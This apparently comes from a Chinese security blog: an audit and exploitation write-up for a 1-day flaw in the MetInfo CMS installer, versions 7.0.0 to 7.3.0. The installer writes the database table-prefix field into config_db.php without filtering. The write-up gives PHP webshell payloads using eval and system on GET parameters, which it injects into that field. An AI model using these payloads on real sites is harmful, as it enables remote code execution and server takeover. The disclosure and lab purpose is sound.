当前位置: 首页 > 技术干货 > 米拓建站系统1day审计与利用

米拓建站系统1day审计与利用

发表于:2021-06-29 15:39 作者: mtr 阅读数(259人)

Metinfocms命令执行

前话:

米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。

本文涉及相关实验:MetInfo SQL注入    (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。)

审计过程:

1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。

图片1.png 

2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个

’PATH_CONFIG‘参数。

图片2.png 

全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。

图片3.png 

在这个文件的219行有个是接收db数据库参数的方法。

官方说明$_M数组https://doc.metinfo.cn/dev/basics/basics75.html

这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。

图片4.png 

往下发现是直接写入tableper然后赋值给config变量。

图片5.png 

并在264fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。

图片6.png 

影响版本:7.3.0 - 7.0.0

一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php

图片7.png 

二、选中传统安装继续下一步

图片8.png 

图片9.png 

三、数据库信息进行写shell

代码执行Payload:"*/@eval($_GET['1']);/*

命令执行Payload:"*/@system($_GET['1']);/*

代码执行:

图片10.png 

图片11.png 

点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。

图片12.png 

图片13.png 

成功写入

图片14.png 

命令执行:

图片15.png 

图片16.png 

图片17.png 

7.0.0版本:

图片18.png 图片19.png

 

 图片20.png

图片21.png 

7.1.0版本:

Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*

图片22.png 

图片23.png

图片24.png 

图片25.png 

7.2.0版本:

Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*

图片26.png 

图片27.png 

图片28.png 

图片29.png